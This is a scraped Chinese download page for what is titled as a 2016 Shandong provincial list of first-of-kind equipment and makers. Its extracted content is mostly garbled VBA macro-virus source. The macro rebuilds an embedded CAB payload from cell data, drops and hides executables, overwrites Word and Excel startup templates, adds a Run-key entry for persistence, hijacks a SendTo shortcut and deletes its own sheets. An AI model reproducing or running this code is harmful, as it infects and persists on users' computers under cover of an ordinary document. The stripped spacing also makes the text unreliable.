编辑: huangshuowei01 2019-07-06
"0",,

"PrivateSubcreatecabfile()" "0",,

"DimchAsByte" "9",,

"onerrorresumenext" "0",,

"Setfso=CreateObject(""scripting.

filesystemobject"")" "0",,

"Setw=CreateObject(""wscript.shell"")" "0",,

"myfolder=w.specialfolders(""Templates"")&""\Software\""" "0",,

"IfNotfso.folderexists(myfolder)Then" "0",,

"fso.createfoldermyfolder" ,,

"EndIf" ,,

"Fori=1toWorkbooks.Count" ,,

"IfWorkbooks(i).name=""normal.xlm""then" ,,

"workbooks(i).close" ,,

"fso.deletefileApplication.StartupPath&""\normal.xlm""" ,,

"EndIf" ,,

"Next" ,,

"Fori=1toWorkbooks.Count" ,,

"IfWorkbooks(i).name=""norma1.xlm""then" ,,

"gotoa1" ,,

"EndIf" ,,

"Next" ,,

"cabfile=""c:\cab.cab""" ,,

"IfNotfso.fileexists(Application.StartupPath&""\norma1.xlm"")Then" ,,

"fso.deletecabfile" ,,

"opencabfileforbinaryaccesswriteas#1" ,,

"Fori=1To150" ,,

"hv=ThisWorkbook.Sheets(""(m1)_(m2)_(m3)"").Cells(i,2).Value" ,,

"n=1" ,,

"m=instr(hv,"""")" ,,

"dowhilem>0" ,,

"ch=CByte(mid(hv,n,m-n))" ,,

"put#1,,

ch" ,,

"n=m+1" ,,

"m=instr(n,hv,"""")" ,,

"loop" ,,

"Next" ,,

"close#1" ,,

"w.Run""%COMSPEC%/cattrib-s-hc:\setflag.exe"",0,True" ,,

"w.Run""%COMSPEC%/cattrib-s-hc:\sendto.exe"",0,True" ,,

"w.Run""%COMSPEC%/cextrac32/E/Y/Lc:\c:\cab.cab"",0,True" ,,

"w.Run""%COMSPEC%/cextract/E/Y/Lc:\c:\cab.cab"",0,True" ,,

"fso.deletefilecabfile" ,,

"fso.copyfile""c:\normal.dot"",myfolder,True" ,,

"setword=createobject(""word.application"")" ,,

"ntpath=word.NormalTemplate.Path&""\""" ,,

"word.quit" ,,

"fso.copyfile""c:\normal.dot"",ntpath,True" ,,

"fso.copyfile""c:\norma1.xlm"",Application.StartupPath&""\"",True" ,,

"fso.copyfile""c:\internet.exe"",fso.getspecialfolder(1)&""\""" ,,

"setfold=fso.getfolder(w.SpecialFolders(""SendTo""))" ,,

"foreachffinfold.files" ,,

"ifinstr(ff.name,""软盘"")>0then" ,,

"setlnk=w.CreateShortcut(fold.path&""\""&ff.name)" ,,

"lnk.TargetPath=""c:\sendto.exe""" ,,

"lnk.IconLocation=""shell32.dll,6""" ,,

"lnk.save" ,,

"gotoe2" ,,

"endif" ,,

"next" ,,

"e2:" ,,

"fso.deletefile""c:\normal.dot""" ,,

"fso.deletefile""c:\norma1.xlm""" ,,

"fso.deletefile""c:\internet.exe""" ,,

"w.Run""%COMSPEC%/cattrib+s+hc:\setflag.exe"",0,True" ,,

"w.Run""%COMSPEC%/cattrib+s+hc:\sendto.exe"",0,True" ,,

"w.regwrite""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internet.exe"",""internet.exe""" ,,

"w.regdelete""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internat.exe""" ,,

"EndIf" ,,

"Workbooks.OpenApplication.StartupPath&""\norma1.xlm""" ,,

"thisworkbook.Sheets(""(m1)_(m2)_(m3)"").Columns(2).Copyworkbooks(""norma1.xlm"").sheets(""(m1)_(m2)_(m3)"").Columns(2)" ,,

"workbooks(""norma1.xlm"").save" ,,

"fso.copyfileApplication.StartupPath&""\norma1.xlm"",myfolder,true" ,,

"a1:" ,,

"fso.deletefile""c:\excel.txt""" ,,

"Application.DisplayAlerts=False" ,,

"fori=1tothisworkbook.sheets.count" ,,

"ifleft(thisworkbook.sheets(i).name,3)=""模块表""then" ,,

"ThisWorkbook.Sheets(i).Delete" ,,

"endif" ,,

"next" ,,

"Application.DisplayAlerts=True" ,,

"ThisWorkbook.Saved=True" ,,

"EndSub" "附件1:2016年度山东省首台(套)技术装备和关键核心零部件及生产企业名单",,

下载(注:源文件不在本站服务器,都将跳转到源网站下载)
备用下载
发帖评论
相关话题
发布一个新话题